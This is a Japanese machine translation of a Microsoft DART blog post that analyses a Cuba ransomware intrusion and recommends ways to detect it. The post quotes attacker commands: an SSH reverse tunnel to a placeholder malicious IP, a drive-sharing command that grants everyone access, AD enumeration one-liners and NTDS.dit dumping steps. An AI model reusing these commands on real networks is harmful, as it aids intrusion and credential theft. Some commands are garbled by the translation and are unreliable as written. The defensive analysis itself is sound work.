防御側は注意: ランサムウェア後の調査の事例

news

ランサムウェアは、Microsoft Detection and Response Team (DART) が現在対応している最も蔓延している脅威の 1 つです。これらの攻撃の背後にいるグループは、ほとんどのネットワーク セキュリティ体制が強化されるにつれて、戦術、技術、および手順 (TTP) に洗練を加え続けています。

このブログでは、最近のランサムウェア インシデントについて詳しく説明します。このインシデントでは、攻撃者が、土地を離れた場所にあるバイナリを使用するなど、一連のコモディティ ツールや手法を使用して、悪意のあるコードを起動しました。 Cobalt Strike は、侵害されたアカウントのパスワード リセット後にネットワークへのアクセスを維持するために、NT AUTHORITY/SYSTEM (ローカル SYSTEM) 権限を使用してネットワーク上で永続化するために使用されました。

このインシデントは、攻撃者がランサムウェアを展開する前にネットワークに長時間滞在できることを浮き彫りにしています。また、使用されているさまざまな手法と、これらのタイプの攻撃に対する保護を強化するためにお客様が使用できる推奨される検出および防御手法についても説明します。

マイクロソフトは、ランサムウェア以前の動作を積極的に探し、ネットワークを強化して影響を防ぐことをお勧めします。ランサムウェア関連のインシデントに対する防御の詳細については、 https: //aka.ms/ransomware-as-a-service を参照してください。

私たちが見つけたもの

最近のランサムウェア インシデントのイベントのタイムライン。
図 1. ランサムウェア インシデントの活動の全体的なタイムライン

初期アクセス

DART は、この侵害の経過期間が長く、セキュリティ ソリューションの保持期間が限られていることと、暗号化されたデバイスが分析前に再イメージ化されていることから、この攻撃の最初の侵入ベクトルを特定できませんでした。観察された最初の活動では、攻撃者がドメイン管理者の資格情報を持っていることが示されました。

持続性

このエンゲージメントに関する DART のランサムウェア後の調査で、チームは、スケジュールされたタスクとサービスの複数のインスタンスが、高度な特権資格情報へのアクセス権を取得した後、永続化のために攻撃によって作成されていることを発見しました。サービスとスケジュールされたタスクには、NT AUTHORITYSystem として実行するオプションがあり、悪意のあるコードが高度な特権アクセスで実行される可能性があります。攻撃者はこれらのタスクとサービスをドメイン コントローラーで作成したため、ローカル SYSTEM アクセスにより、ドメイン管理者アカウントに簡単にアクセスできました。ドメイン コントローラーにバックドアを展開すると、攻撃者は、侵害されたアカウントのリセットなど、一般的なインシデント レスポンスの回復アクティビティを回避して、ネットワークに常駐することができます。

サービス: コバルトストライク

Cobalt Strike は、ネットワーク全体、ドメイン コントローラ、サーバー、および管理者ワークステーションで大規模に確認されました。攻撃者は Windows サービスを作成し、 rundll32を実行してペイロードを保持し、マルウェアのシロアリ ファミリの亜種の「AllocConsole」エクスポート関数を呼び出して Cobalt Strike DLL をロードしました。これらのサービスは、SYSTEM とドメイン管理者の認証情報を組み合わせて実行されることが確認されています。シロアリ マルウェアは、アンチウイルス検出を回避しながら Cobalt Strike をロードするために、クライムウェア グループによってよく使用されます。シロアリ マルウェア ファミリの詳細については、次のブログを参照してください: (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware .

Cobalt Strike を実行する攻撃者の活動のスクリーンショット。
図 2. アクターがシステムの完全性を備えたrundll32.exeを介して Cobalt Strike を実行する例

Cobalt Strike DLL はC:WindowsTempにあり、コマンド アンド コントロール (C2) の最初のローカル オクテットに基づく命名スキームを使用していました。攻撃者が Cobalt Strike をドメイン コントローラーにインストールすると、PowerShell スクリプトを使用してマルウェアが拡散され、SMB 経由で DLL がC:WindowsTempにコピーされ、リモート サービスの作成によって実行されました。

イベント エンティティ グラフは、攻撃者が Cobalt Strike をコピーしていることを示しています。
図 3. SMB を介して Cobalt Strike をコピーする攻撃者の例

攻撃者は、サービスの作成を通じて権限を「NT AUTHORITYSystem」に昇格させました。このサービスの作成は、「4aedb00」などの疑似ランダム サービス名を使用して、Cobalt Strike によって行われた可能性があります。

スケジュールされたタスク: OpenSSH

攻撃者は、クライアントのネットワークに OpenSSH をインストールして、ドメイン コントローラやドメイン管理者のワークステーションなどの重要なサーバーで持続性を維持しました。攻撃者は、System32 の標準的な OpenSSH パスではなく、 C:Windows OpenSSH 内に OpenSSH をインストールしました。

攻撃者は、C2 への永続的な SSH 接続のスケジュールされたタスクを「NT AUTHORITYSystem」として作成しました。攻撃者は、標準の TCP 22 ではなく、SSH トラフィックに TCP 443 を使用しました。多くの組織では、TCP 22 アウトバウンドがブロックされている可能性がありますが、Web トラフィックには TCP 443 が必要なため、多くの場合、ポートは開いています。また、攻撃者は TCP 7878 でのポート フォワーディングを有効にして、SSH 接続を介した悪意のあるツールのトンネリングを可能にしました。

攻撃者は、検出を回避しようとして、 ssh.exeの名前を「C:WindowsOpenSSHsvchost.exe」に変更していることも確認されています。

SSH の使用を隠しているプロセスのスクリーンショット。
図 4. SSH の使用を隠すように偽装するプロセスの例

攻撃者がランサムウェアを展開してから 4 日後、攻撃者は既存の OpenSSH 永続性を介して侵害されたネットワークに戻り、追加のドメイン コントローラーとドメイン管理者ワークステーションに追加の永続性 SSH サービスをインストールしました。

攻撃者は、OpenSSH の sftp サーバーを使用して、C2 と侵害されたホストの間でファイルを転送しました。攻撃者は、OpenSSH ツール スイートとは別のツールであるssh-keygen.exeを使用して、侵害されたホストで SSH キーを生成しました。これにより、クレデンシャルがリセットされた後、アクターはクレデンシャルではなくキーを使用して SSH 接続できるようになりました。

横移動

インパケット (WMI)

Impacket の WMI モジュールは、侵害の初期段階で、リモートでの実行と発見のために使用されました。 Impacketは、ネットワーク プロトコルを操作するためのスクリプトのオープン ソース コレクションです。このツールキットは最近、さまざまなクライムウェア グループによってラテラル ムーブメントやネットワーク検出に使用されています。

攻撃者は Impacket を使用して「C:Perflogs」から PowerShell スクリプトを実行し、同じディレクトリ内に.txtファイルを作成しました。 Impacket を介して実行されるすべてのコマンドは、コマンドの結果を「127.0.0.1ADMIN$__1648051380.61」に出力します。攻撃者は、実行後に PowerShell スクリプトとテキスト ファイルを削除しました。

サンプルの Impacket クエリのスクリーンショット。
図 5. 結果が ADMIN$ ディレクトリ内のファイルに出力されるサンプルの Impacket クエリ

攻撃者は、Cobalt Strike をデバイスに展開する前に、宛先サーバーが攻撃者の C2 に ping を送信できるかどうかをテストするために Impacket も使用しました。

C&C サーバーへの接続をテストしている攻撃者のスクリーンショット。
図 6. Impacket を介して C2 への接続をテストするアクター

PsExec

攻撃者はPsExec.exeを使用して、被害者のネットワークにランサムウェアを拡散しました。攻撃者は最初に「open.bat」を実行し、 「net share [CZ]=[CZ]: /grant:everyone,FULL」を実行しました。これにより、ホスト上のすべてのドライブが共有され、全員にアクセスが許可されました。 「A.exe」「Anet.exe」 、および「Aus.exe」はすべてキューバ ランサムウェアの亜種です。

PsExec を介して実行されたコマンド ラインのスクリーンショット。
図 7. 攻撃者が PsExec を介して実行したコマンド ライン

リモート デスクトップ プロトコル

攻撃者は Impacket と PsExec を介してラテラル ムーブメントとリモート コード実行にアクセスできましたが、このインシデントで攻撃者がラテラル ムーブメントに使用した主な方法はリモート デスクトップ プロトコル (RDP) でした。これにより、GUI 環境を使用してシステム設定を変更し、インストールすることができました。マルウェア。攻撃者は、デバイス間の RDP にドメイン管理者アカウントを使用しました。

資格情報へのアクセス

WDigest

攻撃者は、侵害の早い段階で、WDigest を悪用して資格情報をキャッシュしました。これにより、攻撃者はドメイン管理者の資格情報にアクセスできるようになりました。

WDigest は、有効にすると資格情報をクリア テキストでキャッシュする Windows の機能です。これは、Mimikatz などの資格情報アクセス ツールによって悪用されることがよくあります。ネットワーク内で WDigest が有効になっているかどうかを検出するために、レジストリ キーHKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredentialが 1 に設定されます。これは、値を 0 に設定することで無効にできます。

WDigest を有効にする攻撃者のスクリーンショット。
図 8. WDigest を有効にするアクターの例

NTDSUtil ダンプ

攻撃者は、Active Directory データベース ( NTDS.dit ) を 2 回取得しました。最初の例では、攻撃者は侵害から 5 か月後にNTDS.ditを取得しました。ランサムウェアの展開から 4 日後、攻撃者はNTDS.ditを 2 回目に取得しました。攻撃者は、ネイティブ ツールntdsutil.exeを使用してNTDS.ditのコピーを作成し、 .dit「C:WindowsTempdataauditActive Directoryntds.dit」にコピーしました。

攻撃者のコマンドのスクリーンショット。
図 9. ntds.ditを取得するアクター コマンド

ボリューム シャドウ コピー アクセス

攻撃者は 2 番目の方法を使用して Active Directory データベースを取得し、 「vssadmin」を使用してドメイン コントローラのボリューム シャドウ コピーを作成しました。この手法は、ユーザーが通常アクセスできないシステム ファイルの静的コピーを作成します。ボリューム シャドウ コピーが作成されると、攻撃者はNTDS.dit 、SYSTEM ハイブ、および SECURITY ハイブをC:Windowsにコピーし、ADMIN$ 共有を介してリモートでコピーできるようにしました。

攻撃者のコマンドのスクリーンショット
図 10. ボリューム シャドウ コピーを作成し、 ntds.ditをコピーするアクター コマンド

流出

圧縮

攻撃者は、7-Zip を使用してファイルを圧縮してから抽出することが観察されました。 7z.exeC:WindowsTempから実行されました。アクターはアーカイブのパスワードを含めず、デバイスのホスト名をアーカイブの名前として使用しました (例: DC01.7z )。

PSCP

攻撃者は、PuTTY セキュア コピー (PSCP) を使用して、攻撃者が制御する C2 にネットワーク共有をリモートで盗み出しました。このバージョンの PSCP は、正規の「lsass.exe」サービスになりすますために、 「lsas.exe」に名前が変更されていました。 PSCP はC:WindowsTempから実行されました。攻撃者は、スタッフと財務関連のリソースを標的にしました。

流出を行っている攻撃者のスクリーンショット。
図 11. ファイルを盗み出すために偽装された PSCP

防御回避

ウイルス対策を無効にする

攻撃者は、ウイルス対策によってファイルが隔離された後、複数のデバイスで Microsoft Defender ウイルス対策を無効にしました。攻撃者は、RDP 経由でデバイスに接続しているときに、Windows セキュリティ GUI アプリケーションを介して Microsoft Defender ウイルス対策を無効にしました。

ウイルス対策サービスを無効にする攻撃者の活動のスクリーンショット。
図 12. リアルタイム監視を無効にする攻撃者からの Microsoft Defender for Endpoint アラート

カーネルドライバー

攻撃者は Avast アンチルートキット ドライバーを使用していました。 Unit 42 は最近、キューバのランサムウェア グループがキューバのランサムウェアを展開する前に、このドライバーを使用してアンチウイルス ソフトウェアを無効にした方法についてのブログをリリースしました

攻撃者は「sc」コマンドを使用してドライバーをインストールし、カーネル レベルのアクセス許可を有効にしました。その後、攻撃者は「sc start aswSP-ArPot2」でサービスを開始しました。このサービスは、攻撃者がカーネル権限を介して被害者のウイルス対策製品を無効にするために使用されました。被害者のネットワーク内でウイルス対策製品が無効になっていることで、マルウェアが隔離または防止されることなく、ランサムウェアが拡散することが保証されました。

インストール中のドライバーのスクリーンショット。
図 13. インストール中の脆弱なドライバー

また、攻撃者は無害なバイナリを作成して、ドライバーの脆弱性をトリガーしました。これらのバイナリは、一般的なウイルス対策実行ファイル名のリストを繰り返し処理し、それぞれに制御コード0x9988C094を提供し、続いてそれらのプロセスを強制終了するようにドライバーに指示します。

発見

攻撃者が一般的なシステム列挙コマンドを実行しているのが観察されました。これらのコマンドは悪意のあるものではありませんが、一緒に見ると、多くの場合、権限のないユーザーがシステムを列挙していることを示している可能性があります。

攻撃者が次のコマンドを実行しているのが確認されました。

  • 私は誰
  • ping 8.8.8.8
  • タスクリスト /v
  • sc queryex type=service state=all
  • wevtutil エル
  • システム情報
  • dsquery user -limit 100000
  • powershell -command “Get-ADUser -Filter * -Properties * | Out-File C:WindowsTempdatadomain_user.txt -Append」
  • powershell -command “Get-ADComputer -Filter * -Properties * | Out-File C:WindowsTempdatadomain_pc.txt -Append」
  • wmic ユーザー アカウント リストがいっぱいです

推奨される検出および防御戦略

このブログで説明されているのと同様の方法を使用する攻撃が増えていることが確認されているため、組織はセキュリティ プラクティスに従ってサーバーを防御する必要があります。以下は、組織が検出戦略の一部として実装する必要がある監視に関する推奨事項のリストです。

サービスの作成

異常なイベントがないか、サービス作成イベントを監視する必要があります。システムとして実行されるサービスを作成する管理者アカウントには、優先度の高いアラートを配置する必要があります。これは、サービスを受けるなど、さまざまな方法で利用できる一般的な権限昇格手法です。

  1. 悪意のあるバイナリを直接実行し、
  2. アクターが制御する名前付きパイプに書き込み、アクターが偽装トークンを盗むことを可能にします。
  3. rundll32.exeによる DLL の実行
Cobalt Strike 実行中のスクリーンショット。
図 14. システム整合性レベルで Cobalt Strike を実行するrundll32.exeのインスタンス

新しいサービスの作成は、異常なパスまたは実行可能ファイルについて監視する必要があります。これらの異常なパス内にあるドライバーに対して、優先度の高いアラートを作成する必要があります。ドライバーは正当に署名されていますが、その場所は悪意のある使用の兆候である可能性があります。異常なパスの例には、次のものが含まれますが、これらに限定されません。

  • C:温度
  • C:プログラムデータ
  • C:Windows
  • C:WindowsTemp

SSHの使用

Microsoft は、ネットワークでの SSH の無許可のインストールと使用を監視することをお勧めします。 SSH は「NT AUTHORITYSystem」として実行しないでください。

このインシデントでは、攻撃者は次の SSH コマンド ラインを使用しました。環境内で同様のアクティビティを監視する必要があります。

ssh <組織>@<悪意のある IP アドレス> -p 443 -i C:ProgramDatasshid_ed25519 -R <悪意のある IP アドレス>:10129:127.0.0.1:7878 -N -C -o IdentitiesOnly=yes -o StrictHostKeyChecking =いいえ

攻撃者は SSH プロセスを svchost.exe として偽装しようとしたため、他のプロセス名でコマンドを監視すると、プロセスが偽装されている可能性があります。

リモート共有へのコピー

リモート共有にアクセスするコマンド プロンプトを監視することをお勧めします。これは、攻撃者がネットワーク全体でファイルを転送するために使用する一般的な手法です。

攻撃者の活動を示すスクリーンショット。
図 15. SMB 経由で Cobalt Strike をコピーするアクター

コマンド プロンプトがリモート共有にアクセスすると、Microsoft Defender for Endpoint はアラートを作成します。これには、コマンドが localhost ADMIN$ 共有を対象とする Impacket の使用が含まれます。ネットワーク内でこれらのアラートを監視すると、不正アクセスの検出に役立ちます。

Defender for Endpoint の攻撃手法を表示する手法情報のスクリーンショット。
図 16. コマンド プロンプトがリモート共有にアクセスしたときの Defender for Endpoint のサンプル アラート

PsExec

ネットワークは、PsExec の不正使用を監視する必要があります。推奨される検出手法は次のとおりです。

  1. バイナリの存在または実行: PsExec.exe
  2. サービス バイナリの存在または実行: PsExeSvc.exe
  3. PsExeSvcという名前のサービスの作成
  4. PsExeSvcという名前で作成された名前付きパイプ

PsExec が使用する手法は、生活用ツールまたは Windows API を使用したカスタム ツールセットを使用して、簡単に複製できます。 PsExec の各段階を監視すると、ネットワーク内の不正な亜種を検出するのに役立ちます。 PsExec は次の 3 つの段階で機能します。

  1. 宛先デバイスの ADMIN$ への SMB 接続。バイナリ「PSEXESVC」を Windows ディレクトリにコピーします。
  2. 宛先デバイスの RPC (ポート 135) へのリモート接続。バイナリを実行するサービスを作成します。
  3. 名前付きパイプ.pipePSEXESVCを作成して、ホストと宛先の間でリモート通信を行います。
PsExec ツールの仕組みを説明する図。
図 17. PsExec の仕組みを説明する図

管理共有に書き込まれている実行可能ファイルを監視すると、ラテラル ムーブメントの試みを検出するのに役立つ場合があります。これには、コピーなどのネイティブ コマンド ラインの監視、前述のようなリモート共有のターゲット設定が含まれます。 Defender for Endpoint を使用して、DeviceFileEvents を通じてサーバー メッセージ ブロック (SMB) 経由でファイル作成イベントを監視できます。実行可能ファイルは、SMB を管理するカーネル プロセスである ntoskrnl.exe プロセスによって作成され、ShareName 列は ADMIN$ になります。

Defender for Endpoint のサンプル スクリーンショット。
図 18. Defender for Endpoint でサーバー メッセージ ブロック (SMB) を介して作成されたPsExeSvc.exeの例

RPC (ポート 135) への異常なリモート接続は、ネットワーク内で監視する必要があります。これは、リモートでサービスを作成および開始するプロセスによって使用される可能性があるためです。 The summary and sort operator within Defender for Endpoint’s Advanced Hunting can help detect uncommon connections on Port 135. 次の KQL は、異常な接続を識別するための基礎を構築するのに役立ちます。

デバイス ネットワーク イベント
| |ここで、リモートポート == 135
| | count() を InitiatingProcessFileName で要約
| | count_asc でソート
Defender for Endpoint のサンプル スクリーンショット。
図 19. ポート 135 でリモート ホストに接続している PsExec.exe を示す画像

この手法は、名前付きパイプを使用したリモート サービスの作成によって複製することもできます。アクターはリモートで IPC$ 共有に接続し、名前付きパイプ svcctl を開いてサービスをリモートで作成できます。これには同様の検出が含まれますが、トラフィックはポート 445 経由で IPC$ 共有に送信されます。

宛先側では、RPC 接続によってサービスが作成されます。許可されていないサービスの作成を監視するには、システム イベント ログで 4679 イベントをキャプチャします。

Defender for Endpoint でのサービス イベント作成のサンプル スクリーンショット。
図 20. Defender for Endpoint でのサービス作成イベント

リモートの名前付きパイプ通信は、宛先サーバーで名前付きパイプを作成することによって監視できます。 PsExeSvc.exeは、ホスト デバイスが IPC$ 共有を介して接続できる PSEXESVC という名前付きパイプを作成します。ホスト デバイス接続は SMB 経由であるため、 ntoskrnl.exeプロセスは名前付きパイプにクライアントとして接続します。

リモート SMB の結果。
図 21. PsExec のリモート SMB 名前付きパイプ通信

NTDS.あなたのダンピング

アクターがNTDS.ditを取得しようとする可能性がある悪意のあるインスタンスの ntdsutil の使用を監視します。 NTDS.ditダンプ セクションのコマンドは、攻撃者がこのツールを使用してNTDS.ditのコピーを作成した方法を示しています。このコマンドは、変更される唯一の変数であるパスを使用して監視できます。完全なNTDS.ditコピーを作成する正当な理由は限られています。

Defender for Endpoint のアラートのサンプル スクリーンショット。
図 22. ntds.ditダンプからの Defender for Endpoint アラート

NTDS.ditのダンプに関する Defender for Endpoint アラート。これらのアラートには高い優先度で応答する必要があります。 「ntdsutil」ツールの不正使用を監視することも強くお勧めします。

ネットワークでファイル監視が有効になっている場合、新しい .dit ファイルの作成に関するアラートは、潜在的なNTDS.ditダンプの検出にも役立ちます。攻撃者は、ボリューム シャドウ コピーからNTDS.ditをコピーしていることが観察されました。

ボリューム シャドウ コピーから NTDS.dit をコピーするコマンドのスクリーンショット。
図 23. ボリューム シャドウ コピーからNTDS.ditをコピーするコマンドの例

ウイルス対策の改ざん

組織は、ウイルス対策が無効化または改ざんされた場合に、ウイルス対策およびエンドポイントの検出と対応 (EDR) のアラートを監視して対応する必要があります。アクターがウイルス対策ソフトウェアと対話して無効にできないように、可能な限り、改ざん防止設定を有効にする必要があります。 Defender for Endpoint のタンパー プロテクションの詳細については、ドキュメント ページ: タンパー プロテクションでセキュリティ設定を保護する を参照してください。

Microsoft Defender ウイルス対策は、製品の改ざんの試みに関するイベント ログを提供します。これには、リアルタイム保護 (イベント ID: 5001) などのサービスの無効化が含まれる場合があります。アラートは Defender for Endpoint ポータル内でも作成され、顧客は高度なハンティング インターフェースを介してアラートをさらにトリアージすることができます。 Windows PowerShell コマンドレットの使用状況を監視することも、ウイルス対策の改ざんのインスタンスを検出するのに役立ちます。

ウイルス対策の改ざんを検索するサンプル コマンドのスクリーンショット。
図 24. ウイルス対策の改ざんを探すサンプル コマンド

リモート デスクトップ プロトコル

DART は、異常な接続を介してアクターの RDP 接続を検出できました。これらの異常な接続には次のものがあります。

  • 初めて複数のサーバーにログインするドメイン管理者、および
  • ドメイン管理者が異常な場所から RDP 接続を開始します。

ドメインおよびエンタープライズ管理者のログオンは、異常な接続がないか監査する必要があります。これには、エッジ サーバーからの接続や、通常は管理しないサーバーへの接続が含まれます。管理者アカウントには多要素認証 (MFA) を適用する必要があります。

結論

ランサムウェア グループは、暗号化前のハイバネーション時間の増加、多種多様な持続的アクセス、および正当な署名付きバイナリの使用を通じて、巧妙化を続けています。これらのグループは引き続き、機密データを盗み出すことを目的としています。一部のグループは、ネットワーク上で足場を維持するために、暗号化後にネットワークに戻ってきます。

ネットワークは、これらの TTP と異常な動作を注意深く探し続ける必要があります。キューバのランサムウェア グループは、ウイルス対策製品による検出を回避するために、多種多様な生活技術を使用しました。これには、標準的な悪意のあるファイルの検出ではなく、ネットワークでのハンティングのための異常と動作の検出に重点を置く必要があります。 PsExec や SSH などのリモート アクセス ツールとリモート実行ツールのソフトウェア監査は、定期的に評価する必要があります。

Microsoft は、ネットワークのセキュリティ体制を改善するために、次のアクションに重点を置くことを強くお勧めします。

  • ウイルス対策製品のタンパー プロテクションを有効にします。
  • 改ざんアラートを含む、重大度の高いウイルス対策および EDR アラートをタイムリーにトリアージします。
  • 管理アカウントの MFA と監視を有効にします。
  • サービスの異常とスケジュールされたタスクの作成を監視します。

Microsoft がネットワークを保護し、ネットワーク侵害に対応する方法を理解するには、 https://aka.ms/DARTにアクセスしてください。

参照: https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/

Comments

Copied title and URL